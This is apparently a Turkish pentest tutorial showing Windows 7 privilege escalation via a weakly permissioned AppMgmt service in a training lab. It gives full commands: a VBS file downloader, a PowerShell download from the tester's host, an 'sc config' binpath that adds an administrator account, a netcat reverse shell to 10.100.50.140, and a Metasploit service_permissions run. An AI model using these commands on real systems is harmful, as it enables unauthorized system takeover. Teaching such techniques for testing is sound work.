Windows-Privesc-Check Betiği Kullanılarak Tespit Edilen Yanlış Yetkilendirilmiş Servis Zafiyetinin İstismar Edilerek Windows İşletim Sisteminde Yetki Yükseltilmesi

0
198
views
Windows sızma testleri sırasında yapılandırma ayarlarının güvenilir bir şekilde gerçekleştirilmemesi ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Windows 7 işletim sisteminde Windows-Privesc-Check aracı ile tespit edilen güvenli bir şekilde yetkilendirilmemiş bir servis kötüye kullanılarak SYSTEM yetkisi ile komut çalıştırılacaktır.

Windows 7 sanal makinesine standart yetkilere sahip “Ahmet” kullanıcısı ile komut satırı erişimi elde edilebildiği (RDP gibi bir yöntem ile masaüstü erişimine sahip olunamadığı) varsayılmaktadır.

whoami
systeminfo | findstr /B OS
net user
net localgroup Administrators

 

Bu bilgisayardaki yerel yönetici veya SYSTEM yetkilerini elde edebilmek için windows-privesc-check betiği ile bir takım kontroller gerçekleştirilebilir.

https://github.com/pentestmonkey/windows-privesc-check

 

Betik tarafından gerçekleştirilen temel kontroller aşağıdaki gibi listelenebilir.

  • Yüklü uygulama bilgileri
  • Paylaşımlar
  • Otomatk oturum açma (autologon) olayları
  • Zayıf yetkilendirilmiş servisler
  • Zayıf yetkilendirilmiş olay günlüğü
  • Zayıf yetkilendirilmiş sürücüler
  • Zayıf yetkilendirilmiş kayıt değerleri
  • Zamanlanmış görevler
  • Sıkılaştırma kontrolleri

 

 

Bu betik ve çalıştırılabilir dosya formatı Kali sanal makinesine indirilebilir.

git clone https://github.com/pentestmonkey/windows-privesc-check.git
cd windows-privesc-check/
ls -la

 

Zafiyet keşfi için kullanılacak olan Python betiğinin derlenmiş hali “windows-privesc-check2.exe” olarak aynı klasör içerisine kaydedilmiştir. Çalıştırılabilir dosya eklenmemiş olsaydı, Python betiği kaynaklardaki Siberportal yazısındaki adımlar izlenerek, Pyinstaller aracı ile de derlenebilirdi.

pyinstaller –onedir –onefile .\windows_privesc_check.py –name=”YetkiYukseltmeAraci”

 

1) Windows Sanal Makineye Windows-Privesc-Check Aracının Transfer Edilmesi

Kali üzerindeki windows-privesc-check2.exe adlı dosya Windows 7 makineye gönderilecektir. Bu amaçla Kali üzerinde bir web servis başlatılabilir.

php -S 0.0.0.0:9443

 

Windows sanal makinesinin komut satırından web servisinden paylaşılan dosyayı alabilmek için aşağıdaki gibi bir VBS dosyası oluşturulabilir.

echo strUrl = WScript.Arguments.Item(0) > WindowsWgetAraci.vbs
echo StrFile = WScript.Arguments.Item(1) >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> WindowsWgetAraci.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> WindowsWgetAraci.vbs
echo Err.Clear >> WindowsWgetAraci.vbs
echo Set http = Nothing >> WindowsWgetAraci.vbs
echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> WindowsWgetAraci.vbs
echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> WindowsWgetAraci.vbs
echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> WindowsWgetAraci.vbs
echo If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> WindowsWgetAraci.vbs
echo http.Open “GET”, strURL, False >> WindowsWgetAraci.vbs
echo http.Send >> WindowsWgetAraci.vbs
echo varByteArray = http.ResponseBody >> WindowsWgetAraci.vbs
echo Set http = Nothing >> WindowsWgetAraci.vbs
echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> WindowsWgetAraci.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> WindowsWgetAraci.vbs
echo strData = “” >> WindowsWgetAraci.vbs
echo strBuffer = “” >> WindowsWgetAraci.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> WindowsWgetAraci.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> WindowsWgetAraci.vbs
echo Next >> WindowsWgetAraci.vbs
echo ts.Close >> WindowsWgetAraci.vbs

type WindowsWgetAraci.vbs

 

Oluşturulan VBS dosyası kullanılarak Kali üzerindeki windows-privesc-check2.exe dosyası indirilebilir.

cscript WindowsWgetAraci.vbs http://10.100.50.140:9443/windows-privesc-check2.exe %TEMP%\YetkiYukseltmeZafiyetiAra.exe

 

2) Windows-Privesc-Check Aracı ile Hak Yükseltme Zafiyetlerinin Keşfi

WindowsWgetAraci.vbs aracı ile indirilen ve %TEMP% dizinine kaydedilen windows-privesc-check2.exe dosyası çalıştırıldığında bir takım parametreler istediği görülmektedir.

cd %TEMP%
dir YetkiYukseltmeZafiyetiAra.exe
YetkiYukseltmeZafiyetiAra.exe

 

Bu araç ile tüm yetki yükseltme zafiyetlerinin listelenmesi ve raporunun oluşturulması için aşağıdaki parametreler kullanılabilir.

YetkiYukseltmeZafiyetiAra.exe –audit -a -o SonucRaporu.html

 

HTML dosyasında kritikliğine göre bir çok zafiyetin raporlandığı görülmektedir.

 

Rapor içerisindeki kritik zafiyetlerden birisi de “AppMgmt” servisinin “Authenticated Users” tarafından değiştirilebilmesidir.

 

3) Accesschk.exe Aracı ile Servis Yapılandırmasındaki Zafiyetin Tespit Edilmesi

Aynı zafiyet Sysinternals accesschk.exe aracı ile de tespit edilebilir. Bu araç önce Kali üzerine indirilir ve sonra da Windows makineye Powershell komutu ile transfer edilebilir.

wget https://live.sysinternals.com/accesschk.exe
php -S 0.0.0.0:9443

powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://10.100.50.140:9443/accesschk.exe’,’%TEMP%\KaydedilenDosya.exe’)”

Not: Eski sistemlere ait Accesschk uygulamalarının kullanımına da ihtiyaç olabilir. Bu gibi bir durumda archive.org kaynağı da kullanılabilir.

https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe

 

Sysinternals accesschk.exe aracı ile standart bir kullanıcının AppMgmt servisi üzerinde tam yetkiye (okuma, değiştirme vb) gerçekleştirebildiği görülebilir.

accesschk.exe /accepteula -uwcqv “Authenticated Users” *
accesschk.exe /accepteula -ucqv AppMgmt

 

Not: Eğitim amacı ile özelleştirilen Windows 7 bilgisayarındaki AppMgmt servis yetkilendirmesi değiştirilmiştir. Gerçek ortamlarda bu serviste yetkilendirme hatası bulunmamakla birlikte özellikle üçüncü taraf uygulamalarda (yazıcı gibi) benzer zafiyetler görülebilir. AppMgmt servisinin yetkisi Subinacl aracı kullanılarak değiştirilmiştir.

 

Not: Sysinternals “SubInACL” komut satırı aracı MSI paketi olarak indirilir ve kurulduğunda varsayılan olarak “C:\Program Files (x86)\Windows Resource Kits\Tools” dizininde “subinacl.exe” dosyası oluşur.

https://www.microsoft.com/en-us/download/details.aspx?id=23510

 

 

4) Servis Yetkilendirme Zafiyetinin Manuel Olarak İstismar Edilmesi

AppMgmt servisinin varsayılan durumda “C:\Windows\system32\svchost.exe -k netsvcs” komutunu çalıştırdığı görülmektedir.

sc qc AppMgmt
sc query AppMgmt
sc queryex AppMgmt

 

Bu servis çalışmak için tetiklendiğinde, varsayılan komut yerine, yeni bir yerel yönetici oluşturacak şekilde bir komut da çalıştırılabilir. Bu amaçla servisin bağımlılıkları temizlenir (bu örnek için ihtiyaç yoktur), çalıştıracağı komut ayarlanır ve servisin çalışacağı hesap SYSTEM olarak ayarlanır (bu örnek için ihtiyaç yoktur).

sc config AppMgmt depend= “/”
sc config AppMgmt binpath= “C:\WINDOWS\System32\cmd.exe /c C:\Windows\System32\net.exe user YeniHesap Yy123456 /add && C:\WINDOWS\System32\net.exe localgroup Administrators YeniHesap /add”
sc config AppMgmt obj= “.\LocalSystem” password= “”
sc qc AppMgmt

 

Not: Yerel yönetici kullanıcısı oluşturmak yerine Windows makineye transfer edilebilecek nc aracı ile servisi çalıştıran kullanıcı hesabı (SYSTEM) yetkisi ile ters bağlantı elde etme, Meterpreter bağlantısı sağlayan zararlı yazılım çalıştırma,… gibi yöntemler de izlenebilirdi.

sc config AppMgmt binpath= “C:\Users\ncAraci.exe -nv 10.100.50.140 9999 -e C:\WINDOWS\System32\cmd.exe”

 

AppMgmt servisi başlatıldığında, YeniHesap adlı kullanıcı hesabının oluşturulduğu ve yerel yönetici grubuna eklendiği görülmüştür.

net start AppMgmt
net user
net localgroup Administrators

 

Not: Windows ortamında bir servisin ayağa kalkması için Service Control Manager ile belli bir süre (30 saniye gibi) iletişime geçmesi gereklidir. Servis başlatıldığında alınan “The service is not responding to the control function.” hatasının sebebi de, Microsoft Windows Service Control Manager tarafından gönderilen “SERVICE_CONTROL_START“, “SERVICE_CONTROL_INTERROGATE” gibi komutlara cevap verilememesi veya geç cevap verilmesi olabilmektedir.

 

 

5) Servis Yetkilendirme Zafiyetinin MSF service_permissions İstismar Modülü ile İstismar Edilmesi

AppMgmt servisinin yetkilendirmesindeki zafiyetin istismarı için MSF service_permissions istismar sonrası modülü de kullanılabilir. Mevcut ortamda yetkisiz bir kullanıcı ile Meterpreter oturumu elde edilmiş olsun.

sessions
use exploit/windows/local/service_permissions
show options

 

Modül çalıştırıldığında SYSTEM yetkisi ile komut satırı elde edilebilir.

set SESSION 1
exploit
getuid

 

“rundll32.exe” adlı bir proses oluştuğu da görülmektedir.

getpid
ps -s

 

 

 

Kaynaklar:

https://www.siberportal.org/green-team/constructing-programing-environment/creating-an-exe-from-a-python-script-on-windows-operating-system/
http://www.fuzzysecurity.com/tutorials/16.html
https://www.exploit-db.com/docs/turkish/42757-[turkish]-windows-and-linux-privilege-escalation.pdf
https://www.exploit-db.com/docs/turkish/39732-[turkish]-privilege-escalation-vectors-on-windows-systems.pdf

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz